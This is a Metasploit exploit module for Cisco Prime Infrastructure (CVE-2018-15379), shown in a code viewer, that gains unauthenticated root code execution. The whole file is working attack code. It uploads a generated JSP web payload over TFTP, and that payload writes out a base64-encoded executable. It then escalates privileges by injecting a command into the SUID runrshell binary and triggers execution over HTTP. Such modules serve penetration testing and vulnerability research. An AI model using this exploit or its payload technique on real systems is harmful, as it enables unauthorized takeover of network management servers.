CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::EXE
11
  include Msf::Exploit::FileDropper
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',
16
      'Description'    => %q{
17
        Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow
18
        an unauthenticated attacker to achieve remote code execution. The first flaw is a file
19
        upload vulnerability that allows the attacker to upload and execute files as the Apache
20
        Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions
21
        in a SUID binary.
22

23
        This module exploits these vulnerabilities to achieve unauthenticated remote code execution
24
        as root on the CPI default installation.
25

26
        This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions
27
        might also be affected, although 3.4.0.0.348 is the latest at the time of writing.
28
        The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.
29
      },
30
      'Author'         =>
31
        [
32
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
33
        ],
34
      'License'        => MSF_LICENSE,
35
      'References'     =>
36
        [
37
          [ 'CVE', '2018-15379' ],
38
          [ 'URL', 'https://seclists.org/fulldisclosure/2018/Oct/19'],
39
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-prime-infrastructure.txt' ],
40
          [ 'URL', 'https://blogs.securiteam.com/index.php/archives/3723' ],
41
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp' ]
42
        ],
43
      'Platform'       => 'linux',
44
      'Arch'           => [ARCH_X86, ARCH_X64],
45
      'Targets'        =>
46
        [
47
          [ 'Cisco Prime Infrastructure < 3.4.1 & 3.3.1 Update 02', {} ]
48
        ],
49
      'Privileged'     => true,
50
      'DefaultOptions' => { 'WfsDelay' => 10 },
51
      'DefaultTarget'  => 0,
52
      'DisclosureDate' => '2018-10-04'
53
    ))
54

55
    register_options(
56
      [
57
        OptPort.new('RPORT', [true, 'The target port', 443]),
58
        OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]),
59
        OptBool.new('SSL', [true, 'Use SSL connection', true]),
60
        OptString.new('TARGETURI', [ true,  "swimtemp path", '/swimtemp'])
61
      ])
62
  end
63

64

65
  def check
66
    res = send_request_cgi({
67
      'uri'    => normalize_uri(datastore['TARGETURI'], 'swimtemp'),
68
      'method' => 'GET'
69
    })
70

71
    unless res
72
      vprint_error 'Connection failed'
73
      return CheckCode::Unknown
74
    end
75

76
    if res.code == 404 && res.body.length == 0
77
      # at the moment this is the best way to detect
78
      # a 404 in swimtemp only returns the error code with a body length of 0,
79
      # while a 404 to another webapp or to the root returns code plus a body with content
80
      return CheckCode::Detected
81
    end
82

83
    CheckCode::Safe
84
  end
85

86

87
  def upload_payload(payload)
88
    lport = datastore['LPORT'] || (1025 + rand(0xffff-1025))
89
    lhost = datastore['LHOST'] || "0.0.0.0"
90
    remote_file = rand_text_alpha(5..16) + '.jsp'
91

92
    tftp_client = Rex::Proto::TFTP::Client.new(
93
      "LocalHost"  => lhost,
94
      "LocalPort"  => lport,
95
      "PeerHost"   => rhost,
96
      "PeerPort"   => datastore['RPORT_TFTP'],
97
      "LocalFile"  => "DATA:#{payload}",
98
      "RemoteFile" => remote_file,
99
      "Mode"       => 'octet',
100
      "Context"    => {'Msf' => self.framework, 'MsfExploit' => self},
101
      "Action"     => :upload
102
    )
103
    print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'"
104
    tftp_client.send_write_request
105

106
    remote_file
107
  end
108

109
  def generate_jsp_payload
110
    exe = generate_payload_exe
111
    base64_exe = Rex::Text.encode_base64(exe)
112

113
    native_payload_name = rand_text_alpha(3..9)
114

115
    var_raw     = rand_text_alpha(3..11)
116
    var_ostream = rand_text_alpha(3..11)
117
    var_pstream = rand_text_alpha(3..11)
118
    var_buf     = rand_text_alpha(3..11)
119
    var_decoder = rand_text_alpha(3..11)
120
    var_tmp     = rand_text_alpha(3..11)
121
    var_path    = rand_text_alpha(3..11)
122
    var_tmp2    = rand_text_alpha(3..11)
123
    var_path2   = rand_text_alpha(3..11)
124
    var_proc2   = rand_text_alpha(3..11)
125

126
    var_proc1 = rand_text_alpha(3..11)
127
    chmod = %Q|
128
    Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});
129
    Thread.sleep(200);
130
    |
131

132
    var_proc3 = Rex::Text.rand_text_alpha(3..11)
133
    cleanup = %Q|
134
    Thread.sleep(200);
135
    Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});
136
    |
137

138
    jsp = %Q|
139
    <%@page import="java.io.*"%>
140
    <%@page import="sun.misc.BASE64Decoder"%>
141
    <%
142
    try {
143
      String #{var_buf} = "#{base64_exe}";
144
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
145
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
146

147
      File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin");
148
      String #{var_path} = #{var_tmp}.getAbsolutePath();
149

150
      BufferedOutputStream #{var_ostream} =
151
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
152
      #{var_ostream}.write(#{var_raw});
153
      #{var_ostream}.close();
154

155
      File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh");
156
      String #{var_path2} = #{var_tmp2}.getAbsolutePath();
157

158
      PrintWriter #{var_pstream} =
159
        new PrintWriter(new FileOutputStream(#{var_path2}));
160
      #{var_pstream}.println("!#/bin/sh");
161
      #{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'");
162
      #{var_pstream}.close();
163
      #{chmod}
164

165
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});
166
      #{cleanup}
167
    } catch (Exception e) {
168
    }
169
    %>
170
    |
171

172
    jsp = jsp.gsub(/\n/, '')
173
    jsp = jsp.gsub(/\t/, '')
174
    jsp = jsp.gsub(/\x0d\x0a/, "")
175
    jsp = jsp.gsub(/\x0a/, "")
176

177
    return jsp
178
  end
179

180

181
  def exploit
182
    jsp_payload = generate_jsp_payload
183

184
    jsp_name = upload_payload(jsp_payload)
185

186
    # we land in /opt/CSCOlumos, so we don't know the apache directory
187
    # as it changes between versions... so leave this commented for now
188
    # ... and try to find a good way to clean it later
189
    print_warning "#{jsp_name} must be manually removed from the Apache in /opt/CSCOlumos"
190
    # register_files_for_cleanup(jsp_name)
191

192
    print_status("#{peer} - Executing payload...")
193
    send_request_cgi({
194
      'uri'    => normalize_uri(datastore['TARGETURI'], jsp_name),
195
      'method' => 'GET'
196
    })
197

198
    handler
199
  end
200
end
201

202